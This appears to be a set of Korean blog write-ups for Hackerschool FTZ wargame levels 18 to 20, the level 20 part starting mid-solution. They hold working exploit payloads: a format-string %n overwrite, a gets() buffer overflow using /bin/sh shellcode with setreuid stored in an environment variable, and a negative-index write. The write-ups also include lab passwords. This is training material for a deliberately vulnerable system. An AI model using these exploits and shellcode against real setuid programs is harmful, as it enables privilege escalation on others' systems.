ADDR -> 0xbffffc8d

0x8049598 에 쉘코드를 주소를 올려야 하는데요. 0xbffffc8d의 정수값이 x86시스템에서 지정할 수 없는 크기 때문에 %n을 이용해 반반씩 나누어 덮어주겠습니다.

0xfc8d (64653(10)) 는 0x08049598에 넣고
0xbfff (49151(10)) 는 0x0804959a에 넣게 됩니다.

그리고
AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%8x 에 대한 자릿수 40바이트를
0xfc8d에서 뺍니다.
64653-40=64613

또 %n이 앞자릿수를 계산하므로 40+64613=64653을 
0xbfff에서도 빼주어야 합니다.그러나 0xbfff(49151)에서 빼게되면 음수가 되기 때문에 0xbfff앞에 1을 붙인 0x1bfff에서 빼서
50034가 됩니다.

최종적으로
"AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%8x%64613c%n%50034c%n"이 됩니다.

(python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08"+"%8x%8x%8x"+"%64613c%n"+"%50034c%n"'; cat) | ./attackme​


[level20@ftz level20]$ (python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08"+"%8x%8x%8x"+"%64613c%n"+"%50034c%n"'; cat) | ./attackme

AAAA쁀AAA?     4f4212ecc04207a750                                                                                                                  (공백)


my-pass

TERM environment variable not set.


clear Password is "i will come in a minute".

웹에서 등록하세요.


* 해커스쿨의 든 레벨을 통과하신 것을 축하드립니다.

당신의 끈질긴 열정과 능숙한 솜씨에 찬사를 보냅니다.

해커스쿨에서는 실력있 분들을 모아 연구소라는 그룹을 운영하고 있습니다.

이 메시지를 보시는 분들 중에 연구소에 관심있으신 분은 자유로운 양식의

가입 신청서를 admin@hackerschool.org로 보내주시기 바랍니다.




이렇게 FTZ가 끝이 났습니다. 이제 LOB로 가즈아아아아아!



반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL19] 풀이  (0) 2018.02.09
해커스쿨 FTZ [LEVEL18] 풀이  (3) 2018.02.09
해커스쿨 FTZ [LEVEL17] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL16] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL15] 풀이  (0) 2018.02.09
반응형


해커스쿨 FTZ [LEVEL19] 풀이


M4ndU




해커스쿨 FTZ [LEVEL19] 풀이입니다.


ID | level19

PW | swimming in pink


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level19

level19@192.168.31.128's password:

[level19@ftz level19]$ ls -l

total 28

-rwsr-x---    1 level20  level19     13615 Mar  8  2003 attackme

-rw-r-----    1 root     level19        65 Mar  8  2003 hint

drwxr-xr-x    2 root     level19      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level19      4096 Jan 16  2009 tmp

[level19@ftz level19]$ cat hint



main()

{ char buf[20];

  gets(buf);

  printf("%s\n",buf);

}



어라...엄청 간단해졌습니다. 이번에도 환경변수를 사용하겠습니다.

그런데 setreuid함수가 없으므로 쉘코드를 25바이트가 아닌 setreuid가 포함된 41바이트 쉘코드를 사용하겠습니다.


$export EGG=`python -c 'print "\x90"*20+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
$gcc getenv.c -o getenv
$./getenv



[level19@ftz level19]$ export EGG=`python -c 'print"\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

[level19@ftz level19]$ cd tmp

[level19@ftz tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c

[level19@ftz tmp]$ gcc getenv.c -o getenv

[level19@ftz tmp]$ ./getenv

ADDR -> 0xbffffc78





gdb를 통해 buf위치 확인


[level19@ftz tmp]$ cd ..

[level19@ftz level19]$ gdb -q attackme

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x08048440 <main+0>:    push   ebp

0x08048441 <main+1>:    mov    ebp,esp

0x08048443 <main+3>:    sub    esp,0x28

0x08048446 <main+6>:    sub    esp,0xc

0x08048449 <main+9>:    lea    eax,[ebp-40]

0x0804844c <main+12>:   push   eax

0x0804844d <main+13>:   call   0x80482f4 <gets>

0x08048452 <main+18>:   add    esp,0x10

0x08048455 <main+21>:   sub    esp,0x8

0x08048458 <main+24>:   lea    eax,[ebp-40]

0x0804845b <main+27>:   push   eax

0x0804845c <main+28>:   push   0x80484d8

0x08048461 <main+33>:   call   0x8048324 <printf>

0x08048466 <main+38>:   add    esp,0x10

0x08048469 <main+41>:   leave

0x0804846a <main+42>:   ret


ebp-40이네요. 44바이트를 채워버리고 리턴주소를 0xbffffc78로 덮어주면 되겠네요.


[level19@ftz level19]$ (python -c 'print "A"*44+"\x78\xfc\xff\xbf"'; cat) | ./attackme

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAx??

my-pass

TERM environment variable not set.


Level20 Password is "we are just regular guys".



성공입니다. FTZ 마지막 고점으로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ


반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL20] 풀이  (2) 2018.02.10
해커스쿨 FTZ [LEVEL18] 풀이  (3) 2018.02.09
해커스쿨 FTZ [LEVEL17] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL16] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL15] 풀이  (0) 2018.02.09
반응형


해커스쿨 FTZ [LEVEL18] 풀이


M4ndU




해커스쿨 FTZ [LEVEL18] 풀이입니다.


ID | level18

PW | why did you do it


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level18

level18@192.168.31.128's password:

[level18@ftz level18]$ ls -l

total 20

-rwsr-x---    1 level19  level18      6225 Jan 25  1999 attackme

-rw-r-----    1 root     level18      1272 Jan 25  1999 hint

drwxr-xr-x    2 root     level18      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level18      4096 Jan  8  2009 tmp

[level18@ftz level18]$ cat hint


#include <stdio.h>

#include <sys/time.h>

#include <sys/types.h>

#include <unistd.h>

void shellout(void);

int main()

{

  char string[100];

  int check;

  int x = 0;

  int count = 0;

  fd_set fds;

  printf("Enter your command: ");

  fflush(stdout);

  while(1)

    {

      if(count >= 100)

        printf("what are you trying to do?\n");

      if(check == 0xdeadbeef)

        shellout();

      else

        {

          FD_ZERO(&fds);

          FD_SET(STDIN_FILENO,&fds);


          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)

            {

              if(FD_ISSET(fileno(stdin),&fds))

                {

                  read(fileno(stdin),&x,1);

                  switch(x)

                    {

                      case '\r':

                      case '\n':

                        printf("\a");

                        break;

                      case 0x08:

                        count--;

                        printf("\b \b");

                        break;

                      default:

                        string[count] = x;

                        count++;

                        break;

                    }

                }

            }

        }

    }

}


void shellout(void)

{

  setreuid(3099,3099);

  execl("/bin/sh","sh",NULL);

}



소스가 엄청 길어졌습니다..

분석을 해봅시다.



      if(count >= 100)

        printf("what are you trying to do?\n");

      if(check == 0xdeadbeef)

        shellout();


count가 100이상이면 문장을 출력하고

check가 0xdeadbeef이면 shellout함수를 실행하네요.



      else

        {

          FD_ZERO(&fds);

          FD_SET(STDIN_FILENO,&fds);


          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)

            {

              if(FD_ISSET(fileno(stdin),&fds))

                {

                  read(fileno(stdin),&x,1);


사용자로부터 입력을 받고, 입력값에서 1바이트를 가져옵니다.



                  switch(x)

                    {

                      case '\r':

                      case '\n':

                        printf("\a");

                        break;

                      case 0x08:

                        count--;

                        printf("\b \b");

                        break;

                      default:

                        string[count] = x;

                        count++; 

                        break;

                     }



그 1바이트의 값이 0x08이면 count 값을 1감소하고


그 1바이트의 값이 \r \n 0x08이 아니라면 string[count] 에 그 1바이트값을 대입하고

count의 값을 1증가 시키네요.


void shellout(void)

{

  setreuid(3099,3099);

  execl("/bin/sh","sh",NULL);

}


shellout함수는 쉘을 띄워주네요.



우리의 목표는 check의 값을 0xdeadbeef로 만드는 것이네요.

string의 값을 넘치게해서 리턴값을 바꾸는 것은 첫번째 조건문에 걸리기 때문에 불가능하고요.


그런데 check는 string보다 더 낮은주소에 있습니다. 그럼 check를 어떻게 조작해야 할까요?

만약 count가 음수라면..? string의 시작주소보다 더 낮은주소에 접근할 수 있지 않을까요?


gdb를 통해 한번 보겠습니다.


코드가 길어서 중요한 부분만 적겠습니다.


0x080485ab <main+91>:   cmp    DWORD PTR [ebp-104],0xdeadbeef


ebp-104와 0xdeadbeef를 비교하네요. ebp-104가 check임을 알 수 있습니다.


그리고 밑으로 내려가보면


0x08048743 <main+499>:  lea    eax,[ebp-100]

0x08048746 <main+502>:  mov    DWORD PTR [ebp-252],eax

0x0804874c <main+508>:  mov    edx,DWORD PTR [ebp-112]

0x0804874f <main+511>:  mov    cl,BYTE PTR [ebp-108]

0x08048752 <main+514>:  mov    BYTE PTR [ebp-253],cl

0x08048758 <main+520>:  mov    al,BYTE PTR [ebp-253]

0x0804875e <main+526>:  mov    ecx,DWORD PTR [ebp-252]

0x08048764 <main+532>:  mov    BYTE PTR [edx+ecx],al

0x08048767 <main+535>:  inc    DWORD PTR [ebp-112]  //count++;

0x0804876a <main+538>:  jmp    0x8048770 <main+544> //break;


밑에 inc도 있고 하니 default: 부분인것 같습니다.

string은 ebp-100이 되겠네요.


그러면 check와 string사이에 dummy는 없습니다.


이 구조를 나타내면


낮은주소

check[0]  - string[-4]

check[1]  - string[-3]

check[2]  - stirng[-2]

check[3]  - stirng[-1]

string[0]

string[1]

...

string[99]

높은주소


이해가 되시나요?


우리가 도달해야 할 곳은 string[-4]이고, count의 초기값은 0입니다.

count의 값을 감소시키는 방법은 0x08을 보내는 것이죠.


0x08을 4번 보내어 string[-4]부터 쓸 수 있도록 만들고 0xdeadbeef를 덮어쓰면 되겠습니다.


(python -c 'print "\x08"*4+"\xef\xbe\xad\xde"'; cat) | ./attackme



[level18@ftz level18]$ (python -c 'print "\x08"*4+"\xef\xbe\xad\xde"'; cat) | ./attackme

Enter your command: my-pass


Level19 Password is "swimming in pink".


성공입니드아! GAZA!!!!!!!!


반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL20] 풀이  (2) 2018.02.10
해커스쿨 FTZ [LEVEL19] 풀이  (0) 2018.02.09
해커스쿨 FTZ [LEVEL17] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL16] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL15] 풀이  (0) 2018.02.09

+ Recent posts